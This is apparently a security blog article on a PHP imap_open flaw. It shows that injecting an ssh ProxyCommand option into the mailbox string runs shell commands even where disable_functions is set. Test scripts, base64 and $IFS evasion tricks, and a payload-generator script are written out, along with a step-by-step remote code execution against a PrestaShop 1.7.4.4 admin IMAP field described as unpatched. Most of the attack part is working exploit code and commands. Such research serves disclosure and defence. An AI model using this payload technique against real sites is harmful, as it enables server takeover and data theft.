RCE in PHP or how to bypass disable_functions in PHP installations

Because it’s a bridge to execute any command within the system.

Internet Message Access Protocol (IMAP) is an Internet standard protocol used by email clients to retrieve email messages from a mail server over a TCP/IP connection.

IMAP was designed by Mark Crispin in 1986 as a remote mailbox protocol, in contrast to the widely used POP, a protocol for retrieving the contents of a mailbox.

For now, IMAP is defined by RFC 3501 specification.

IMAP was designed with the goal of permitting complete management of an email inbox by multiple email clients.

Therefore clients generally leave messages on the server until the user explicitly deletes them.

An IMAP server typically listens on port number 143.

IMAP over SSL (IMAPS) is assigned port number 993 by default.

PHP has support for IMAP out-of-box, of course.

To make the work with that protocol easier, PHP has a bunch of functions.

Out of all these functions we are interested only in imap_open.

It is used for opening an IMAP stream to a mailbox.

That function is not a PHP core function; it was imported from UW IMAP Toolkit Environment developed by the University of Washington at 2007.

The last version of that library was released about 7 years ago at 2011.

The syntax to call it inside PHP looks something like this:resource imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]] )The mailbox parameter used when you need to define a server to connect.

{[host]}:[port][flags]}[mailbox_name]In addition to the standard host, port and mailbox name we can use some flags.

All information about it is available inside the official manual page.

A standard connection to some IMAP server may look like this:imap_open(“{mail.

domain.

com}:143/imap/notls}”, “admin”, “admin”)Where /imap and /notls is connection flags.

Look at the highlighted /norsh flag.

IMAP allows you to use pre-authenticated ssh or rsh session to automatically login to a server.

The flag used when you do not need to use that functional then by default it is attempted.

Everybody knows about ssh, but who or what is rsh?What is rsh?Remote shell (rsh) was used a long time ago before ssh.

It’s origin goes back to the BSD Unix operating system, along with rcp.

It was a part of the rlogin package on 4.

2BSD in 1983.

Rsh has since been ported to other operating systems.

Then, in 1995, the first version of the SSH protocol was introduced.

The rsh command has the same name as another common UNIX utility, the restricted shell, which first appeared in PWB/UNIX.

In System V Release 4, the restricted shell is often located at /usr/bin/rsh.

The question is, however, is rsh still around in 2018?.Well, most popular Unix-like distros still utilize it in a way:Ubuntu: link to sshDebian: link to sshArch: rsh itselfetcVulnerability detailsLook at the source code of the imap2007f library.

The primary function that works with connections is tcp_aopen defined in tcp_unix.

c file.

/imap-2007f/src/osdep/unix/tcp_unix.

c:321: /* TCP/IP authenticated open322: * Accepts: host name323: * service name324: * returned user name buffer325: * Returns: TCP/IP stream if success else NIL326: */…330: TCPSTREAM *tcp_aopen (NETMBX *mb,char *service,char *usrbuf)331: {Let’s check if the paths to ssh and rsh are defined.

/imap-2007f/src/osdep/unix/tcp_unix.

c:341: #ifdef SSHPATH /* ssh path defined yet?.*/342: if (!sshpath) sshpath = cpystr (SSHPATH);343: #endif344: #ifdef RSHPATH /* rsh path defined yet?.*/345: if (!rshpath) rshpath = cpystr (RSHPATH);346: #endifThat code tells us that if SSHPATH is not defined then trying to read RSHPATH.

A bit of source code surfing will help us find out where SSHPATH definition happens.

It is, in fact, IMAP daemon read configuration file /etc/c-client.

cf.

The dorc procedure parsing information from it and among many other directives ssh-path exists.

If it is defined, then SSHPATH takes it.

/imap-2007f/src/osdep/unix/env_unix.

h:48: /* dorc() options */49:50: #define SYSCONFIG “/etc/c-client.

cf”/imap-2007f/src/osdep/unix/env_unix.

c:1546: /* Process rc file…1552: void dorc (char *file,long flag)1553: {…1677: else if (!compare_cstring (s,”set ssh-path”))1678: mail_parameters (NIL,SET_SSHPATH,(void *) k);By default it’s empty, and we cannot control it because the /etc directory is not write-enabled.

But you can try to dig deeper in that direction, and, maybe, you can find a nice attack vector.

Now we jump to the RSHPATH definition.

It’s located inside the build automation tool (make) configuration file — Makefile.

Different versions of distros have different paths for their Makefiles.

You can see /usr/bin/rsh path in most cases for Linux.

/imap-2007f/src/osdep/unix/Makefile:248: bs3: # BSD/i386 3.

0 or higher…253: RSHPATH=/usr/bin/rsh …261: bsf: # FreeBSD…266: RSHPATH=/usr/bin/rsh …528: mnt: # Mint…533: RSHPATH=/usr/bin/rsh …590: osx: # Mac OS X…594: RSHPATH=/usr/bin/rsh …673: slx: # Secure Linux…681: RSHPATH=/usr/bin/rsh I got Debian 9 as my testing environment, and I have /usr/bin/rsh as RSHPATH which is the link to ssh binary in my case.

Return to tcp_aopen and watch what happens after the definitions.

/imap-2007f/src/osdep/unix/tcp_unix.

c:347: if (*service == ‘*’) { /* want ssh?.*/348: /* return immediately if ssh disabled */349: if (!(sshpath && (ti = sshtimeout))) return NIL;350: /* ssh command prototype defined yet?.*/351: if (!sshcommand) sshcommand = cpystr (“%s %s -l %s exec /etc/r%sd”);352: }353: /* want rsh?.*/354: else if (rshpath && (ti = rshtimeout)) {355: /* rsh command prototype defined yet?.*/356: if (!rshcommand) rshcommand = cpystr (“%s %s -l %s exec /etc/r%sd”);357: }358: else return NIL; /* rsh disabled */The code generates a command to execute a rimapd binary on a remote server.

Let’s create a PHP script for testing.

test1.

php:1: <?php2: @imap_open(‘{localhost:143/imap}INBOX’, ‘’, ‘’);Then use strace tool with execve system calls filtering to watch what command will be executed during script processing.

strace -f -e trace=clone,execve php test1.

phpAs you can see the localhost is one of the arguments of the executed command.

That means we can manipulate command line while manipulating server address parameter.

Let’s look at options of ssh binary because in Debian /usr/bin/rsh is the symbolic link to it.

There are a bunch of options here, of course, we need to focus on -o.

With that option, I can pass any directives in the command line as if they were in a configuration file.

Look at the ProxyCommand.

With its help you can specify the command to use to connect to the server.

The command executes in a user’s shell.

That’s exactly what we need for a nice exploit!Let’s see how it works with a simple command:ssh -oProxyCommand=”echo hello|tee /tmp/executed” localhostThe command has succeeded completely.

Ok, but we cannot directly transfer it to a PHP script in place of imap_open server address, because, when parsing, it interprets spaces as delimiters and slashes as flags.

Fortunately, you can use $IFS shell variable to replace space symbols or ordinary tabs ( ).

You can insert tabs in bash use Ctrl+V hotkey and then Tab button.

ssh -oProxyCommand=”echo hello|tee /tmp/executed” localhostTo bypass slashes, you can use base64 encoding and relevant command to decode it.

echo “echo hello|tee /tmp/executed”|base64> ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo=ssh -oProxyCommand=”echo ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo=|base64 -d|bash” localhostWork’s great!.It’s time to test it in PHP.

test2.

php:1: <?php2: $payload = “echo hello|tee /tmp/executed”;3: $encoded_payload = base64_encode($payload);4: $server = “any -o ProxyCommand=echo ”.

$encoded_payload.

”|base64 -d|bash”;5: @imap_open(‘{‘.

$server.

’}:143/imap}INBOX’, ‘’, ‘’);Now execute it with strace again and watch what the command line calls.

Look at the chain of those calls.

There are all of our commands and they are being run over on the remote server.

The exploitation completed, the file is created successfully.

The command executed not by PHP itself but by an external library, which means nothing can prevent it from executing, not event disable_functions directive.

PrestaShop RCENow let’s look at a real-world example on PrestaShop.

It is a freemium, open source e-commerce solution.

The software published under the Open Software License.

It is written in PHP with support for the MySQL database management system.

PrestaShop is currently used by about 250,000 online shops worldwide.

First, you need to install the environment with the minimum requirements.

apt install -y wget unzip apache2 mysql-server php-zip php-curl php-mysql php-gd php-mbstringservice mysql startmysql -u root -e “CREATE DATABASE prestashop; GRANT ALL PRIVILEGES ON *.

* TO ‘root’@’localhost’ IDENTIFIED BY ‘megapass’;”a2enmod rewriteNext, download PrestaShop 1.

7.

4.

4 installer and extract it to the web-root directory.

cd /var/www/htmlwget https://download.

prestashop.

com/download/releases/prestashop_1.

7.

4.

4.

zipunzip prestashop_1.

7.

4.

4.

zipStart Apache2 daemon and surf your web-server to begin shop installation.

service apache2 startAfter a successful installation process, login into the admin panel, go to the Customer service tab and look at the Customer service options section.

There are IMAP server parameters, and you can find IMAP URL among them.

Look at the source code of the AdminCustomerThreads controller.

prestashop-1.

7.

4.

4/controllers/admin/AdminCustomerThreadsController.

php:0948: // Executes the IMAP synchronization.

0949: $sync_errors = $this->syncImap();…0966: public function syncImap()0967: {0968: if (!($url = Configuration::get(‘PS_SAV_IMAP_URL’))0969: || !($port = Configuration::get(‘PS_SAV_IMAP_PORT’))0970: || !($user = Configuration::get(‘PS_SAV_IMAP_USER’))0971: || !($password = Configuration::get(‘PS_SAV_IMAP_PWD’))) {0972: return array(‘hasError’ => true, ‘errors’ => array(‘IMAP configuration is not correct’));0973: }0974:0975: $conf = Configuration::getMultiple(array(0976: ‘PS_SAV_IMAP_OPT_POP3’, ‘PS_SAV_IMAP_OPT_NORSH’, ‘PS_SAV_IMAP_OPT_SSL’,0977: ‘PS_SAV_IMAP_OPT_VALIDATE-CERT’, ‘PS_SAV_IMAP_OPT_NOVALIDATE-CERT’,0978: ‘PS_SAV_IMAP_OPT_TLS’, ‘PS_SAV_IMAP_OPT_NOTLS’));…1007: $mbox = @imap_open(‘{‘.

$url.

’:’.

$port.

$conf_str.

’}’, $user, $password);You can see imap_open call here with user data $url variable.

I updated the previous script into a little payload generator on PHP.

It takes command you want to execute as an argument.

payload.

php:1: <?php2: $payload = $argv[1];3: $encoded_payload = base64_encode($payload);4: $server = “any -o ProxyCommand=echo ”.

$encoded_payload.

”|base64 -d|bash}”;5: print(“payload: {$server}”.

PHP_EOL);Insert generated payload to the URL input and press save.

Voila! The remote code execution vulnerability is here.

ConclusionToday we learned about a new technique to bypass security restrictions and implement remote code execution vulnerability.

Look at the real world example of using it against the PrestaShop software which still doesn’t have a version that would address the problem.

However, PHP developers already released the patch for this issue.

Unfortunately, Linux distros repositories and packages inside them do not get updated as fast as we’d all liked them to.

Watch out and try to avoid insecure imap_open function calls in your projects.

Have a nice bug bounty ;).

. More details

Leave a Reply